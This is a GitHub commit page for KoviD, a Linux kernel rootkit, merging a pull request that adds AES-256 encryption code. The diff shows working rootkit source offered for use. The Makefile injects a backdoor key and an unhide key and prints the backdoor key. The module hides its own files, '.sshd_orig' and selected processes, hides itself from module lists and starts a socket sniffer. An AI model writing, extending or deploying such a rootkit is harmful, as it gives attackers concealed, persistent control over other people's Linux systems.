Skip to content

Commit

Permalink
Merge pull request #146 from carloslack/aes_256
Browse files Browse the repository at this point in the history
Aes 256
  • Loading branch information
carloslack authored Dec 2, 2024
2 parents 8de0893 + f09aefe commit 3513ade
Show file tree
Hide file tree
Showing 9 changed files with 296 additions and 33 deletions.
14 changes: 8 additions & 6 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ OBJNAME=kovid
ifndef DEPLOY
DEBUG_PR := -DDEBUG_RING_BUFFER
endif

STRIP=$(shell which strip)
LD=$(shell which ld)
AS=$(shell which as)
CTAGS=$(shell which ctags)
Expand All @@ -32,7 +32,7 @@ COMPILER_OPTIONS := -Wall -DPROCNAME='"$(PROCNAME)"' \
EXTRA_CFLAGS := -I$(src)/src -I$(src)/fs ${COMPILER_OPTIONS}

SRC := src/${OBJNAME}.c src/pid.c src/fs.c src/sys.c \
src/sock.c src/util.c src/vm.c
src/sock.c src/util.c src/vm.c src/crypto.c

persist=src/persist

Expand All @@ -42,13 +42,12 @@ obj-m := ${OBJNAME}.o

CC=gcc


all: persist
# TODO: Check if we can generate a random PROCNAME, something like:
# PROCNAME ?= $(shell uuidgen | cut -c1-8)
$(if $(PROCNAME),,$(error ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name"))
sed -i 's/^#define BDKEY .*/#define BDKEY $(BDKEY)/' src/auto.h
sed -i 's/^#define UNHIDEKEY .*/#define UNHIDEKEY $(UNHIDEKEY)/' src/auto.h
sed -i 's/^static uint64_t auto_bdkey = .*/static uint64_t auto_bdkey = $(BDKEY);/' src/auto.h
sed -i 's/^static uint64_t auto_unhidekey = .*/static uint64_t auto_unhidekey = $(UNHIDEKEY);/' src/auto.h
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
@echo -n "Save this Backdoor KEY: "
@echo $(BDKEY) | sed 's/^0x//'
Expand All @@ -67,12 +66,15 @@ lgtm: persist
make -C /lib/modules/$(shell dpkg --status linux-headers-generic |grep ^Depends| \
cut -d ":" -f2| sed 's/ linux-headers-//g')/build M=$(PWD) modules

strip:
$(STRIP) -v -g $(OBJNAME).ko

clean:
@make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
@rm -f *.o src/*.o $(persist)
@git checkout a6333fdc9e9d647b7d64e9e9cb1e6c0237a8967f \
-- src/persist.S 2>/dev/null || true
@git checkout b5b1976947f16e4f8ac1e1778ef5984a7c47b824 \
@git checkout a9d711472292ad23c284f701fc8848f2947cc224 \
-- src/auto.h 2>/dev/null || true
@echo "Clean."

Expand Down
4 changes: 2 additions & 2 deletions src/auto.h
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
#ifndef __AUTO_H
#define __AUTO_H

#define BDKEY 0x0000000000000000
#define UNHIDEKEY 0x0000000000000000
static uint64_t auto_bdkey = 0x0000000000000000;
static uint64_t auto_unhidekey = 0x0000000000000000;

#endif
189 changes: 189 additions & 0 deletions src/crypto.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,189 @@
#include <linux/module.h>
#include <crypto/skcipher.h>
#include <linux/scatterlist.h>
#include <linux/random.h>
#include <linux/version.h>
#include <linux/skbuff.h>
#include <linux/tcp.h>
#include "log.h"
#include "crypto.h"
#include "lkm.h"

/** internal use transformation handle */
static struct crypto_skcipher *tfm;

/**
* Setup encryption key
* Must be called once from KoviD initialization
*/
#define ENCKEY_LEN 32 /** aes 256 */
int kv_crypto_key_init(void) {
static char key[ENCKEY_LEN] = {0};
int rc;

/** Allocate AES-CBC */
if (!crypto_has_skcipher("cbc(aes)", 0, 0)) {
prerr("Cipher not found\n");
return 0;
}

/** Allocate for transformation
* Shared across all instances
*/
tfm = crypto_alloc_skcipher("cbc(aes)", 0, 0);
if (IS_ERR(tfm)) {
prerr("Failed to allocate cipher %ld\n", PTR_ERR(tfm));
return 0;
}

get_random_bytes(key, ENCKEY_LEN);

/** Finally, set the key */
rc = crypto_skcipher_setkey(tfm, key, ENCKEY_LEN);
if (rc < 0) {
prerr("Key init error %d\n", rc);
crypto_free_skcipher(tfm);
return 0;
}

return rc;
}

/** Encryption init
* Called for each encryption operation */
struct kv_crypto_st *crypto_init(void) {
struct kv_crypto_st *kvmgc = kmalloc(sizeof(struct kv_crypto_st), GFP_KERNEL);
if (!kvmgc) {
prerr("Failed to allocate memory for vars\n");
return NULL;
}

kvmgc->req = skcipher_request_alloc(tfm, GFP_KERNEL);
if (!kvmgc->req) {
prerr("Failed to allocate request\n");
return NULL;
}

/** Generate a random IV each time */
get_random_bytes(kvmgc->iv, sizeof(kvmgc->iv));

return kvmgc;
}

size_t kv_encrypt(struct kv_crypto_st *kvmgc, u8 *buf, size_t buflen) {
size_t copied = 0;
int rc;
u8 iv_orig[16] = {0};

if (!kvmgc || !buf) {
prerr("Invalid decrypt ptr\n");
return 0;
}

kvmgc->kv_data.buf = kmalloc(buflen, GFP_KERNEL);
if (!kvmgc->kv_data.buf) {
prerr("Memory error\n");
return 0;
}

/** debug */
print_hex_dump(KERN_DEBUG, "plain text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true);

memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv));

sg_init_one(&kvmgc->sg, buf, buflen);
skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, buflen, kvmgc->iv);

/** encrypt */
rc = crypto_skcipher_encrypt(kvmgc->req);
if (rc < 0) {
prerr("Encryption failed %d\n", rc);
kfree(kvmgc->kv_data.buf);
return 0;
}

copied = sg_copy_to_buffer(&kvmgc->sg, 1, buf, buflen);
if (copied != buflen) {
prerr("encrypted count mismatch, expected %lu, copied %lu\n", buflen, copied);
kfree(kvmgc->kv_data.buf);
return 0;
}

print_hex_dump(KERN_DEBUG, "encrypted text: ", DUMP_PREFIX_NONE, 16, 1, buf, buflen, true);

memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv));
memcpy(kvmgc->kv_data.buf, buf, buflen);
kvmgc->kv_data.buflen = buflen;

return copied;
}

size_t kv_decrypt(struct kv_crypto_st *kvmgc, decrypt_callback cb, void *userdata) {
size_t copied = 0;

if (!kvmgc || !kvmgc->kv_data.buf || !cb) {
prerr("Invalid decrypt argument\n");
} else {
u8 iv_orig[16] = {0};
size_t buflen = kvmgc->kv_data.buflen;
u8 data_orig[buflen];
int err = 0;

memcpy(iv_orig, kvmgc->iv, sizeof(kvmgc->iv));
memcpy(data_orig, kvmgc->kv_data.buf, buflen);

sg_init_one(&kvmgc->sg, kvmgc->kv_data.buf, buflen);
skcipher_request_set_crypt(kvmgc->req, &kvmgc->sg, &kvmgc->sg, buflen, kvmgc->iv);

/** decrypt */
err = crypto_skcipher_decrypt(kvmgc->req);
if (err) {
prerr("Decryption failed\n");
}

copied = sg_copy_to_buffer(&kvmgc->sg, 1, kvmgc->kv_data.buf, buflen);
if (copied != buflen) {
prerr("encrypted count mismatch, expected %lu, copied %ld\n", buflen, copied);
return 0;
}

{
/** user callback */
const u8 * const buf = kvmgc->kv_data.buf;
cb(buf, buflen, copied, userdata);
}

memcpy(kvmgc->iv, iv_orig, sizeof(kvmgc->iv));
memcpy(kvmgc->kv_data.buf, data_orig, buflen);
}

return copied;
}

void kv_crypto_free_data(struct kv_crypto_st *kvmgc) {
if (kvmgc && kvmgc->kv_data.buf) {
kfree(kvmgc->kv_data.buf);
kvmgc->kv_data.buf = NULL;
}
}

void kv_crypto_mgc_deinit(struct kv_crypto_st *kvmgc) {

if (kvmgc) {
kv_crypto_free_data(kvmgc);
if (kvmgc->req) {
kfree(kvmgc->req);
kvmgc->req = NULL;
}

kfree(kvmgc);
kvmgc = NULL;
}
}

void kv_crypto_deinit(void) {
if (tfm) {
kfree(tfm);
tfm = NULL;
}
}
16 changes: 16 additions & 0 deletions src/crypto.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#ifndef __CRYPTO_H
#define __CRYPTO_H

struct kv_data_st {
u8 *buf;
size_t buflen;
};

struct kv_crypto_st {
u8 iv[16];
struct scatterlist sg;
struct skcipher_request *req;
struct kv_data_st kv_data;
};

#endif
2 changes: 1 addition & 1 deletion src/fs.c
Original file line number Diff line number Diff line change
Expand Up @@ -325,7 +325,7 @@ int fs_file_rm(char *name) {
return -EINVAL;

rm[2] = name;
if (ret = kv_run_system_command(rm))
if ((ret = kv_run_system_command(rm)))
prerr("Error removing %s\n", name);

return ret;
Expand Down
31 changes: 24 additions & 7 deletions src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,9 @@
#include <linux/namei.h>
#include <linux/ctype.h>
#include <linux/parser.h>
#include <linux/random.h>

#include "crypto.h"
#include "lkm.h"
#include "fs.h"
#include "version.h"
Expand Down Expand Up @@ -71,7 +73,7 @@ static DEFINE_SPINLOCK(elfbits_spin);
#error "fuuuuuu Support is only for x86-64"
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,11,0)
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,16,0)
#pragma message "!! Warning: Unsupported kernel version GOOD LUCK WITH THAT! !!"
#endif

Expand Down Expand Up @@ -485,14 +487,14 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
kv_show_all_tasks();
break;
case Opt_hide_task_backdoor:
if (sscanf(args[0].from, "%d", &pid))
if (sscanf(args[0].from, "%d", &pid) == 1)
kv_hide_task_by_pid(pid, 1, CHILDREN);
break;
case Opt_list_hidden_tasks:
kv_show_saved_tasks();
break;
case Opt_rename_hidden_task:
if (sscanf(args[0].from, "%d", &pid))
if (sscanf(args[0].from, "%d", &pid) == 1)
kv_rename_task(pid, args[1].from);
break;
case Opt_hide_module:
Expand All @@ -502,7 +504,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
{
uint64_t val;
if ((sscanf(args[0].from, "%llx", &val) == 1) &&
UNHIDEKEY == val) {
auto_unhidekey == val) {
kv_unhide_mod();
}
}
Expand Down Expand Up @@ -555,7 +557,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
break;
case Opt_fetch_base_address:
{
if (sscanf(args[0].from, "%d", &pid)) {
if (sscanf(args[0].from, "%d", &pid) == 1) {
unsigned long base;
char bits[32+1] = {0};
base = kv_get_elf_vm_start(pid);
Expand Down Expand Up @@ -748,6 +750,15 @@ static int __init kv_init(void) {
struct kernel_syscalls *kaddr = NULL;
#endif

/*
* Hide these names from write() fs output
*/
static const char *hide_names[] = {
".kovid", "kovid", "kovid.ko", UUIDGEN ".ko",
UUIDGEN ".sh", ".sshd_orig", NULL
};


/** show current version for when running in debug mode */
prinfo("version %s\n", KOVID_VERSION);

Expand Down Expand Up @@ -787,6 +798,10 @@ static int __init kv_init(void) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,17,0)
cont:
#endif
/** Init crypto engine */
kv_crypto_key_init();


tsk_sniff = kv_sock_start_sniff();
if (!tsk_sniff)
goto unroll_init;
Expand All @@ -801,14 +816,13 @@ static int __init kv_init(void) {
kv_hide_task_by_pid(tsk_tainted->pid, 0, CHILDREN);

/** hide magic filenames & directories */
fs_add_name_ro(kv_hide_str_on_load, 0);
fs_add_name_ro(hide_names, 0);

/** hide magic filenames, directories and processes */
fs_add_name_ro(kv_get_hide_ps_names(), 0);

kv_scan_and_hide();


#ifndef DEBUG_RING_BUFFER
kv_hide_mod();
op_lock = 1;
Expand Down Expand Up @@ -838,6 +852,7 @@ static int __init kv_init(void) {
}

static void __exit kv_cleanup(void) {

sys_deinit();
kv_pid_cleanup();

Expand All @@ -860,6 +875,8 @@ static void __exit kv_cleanup(void) {

fs_names_cleanup();

kv_crypto_deinit();

prinfo("unloaded.\n");
}

Expand Down
Loading

0 comments on commit 3513ade

Please sign in to comment.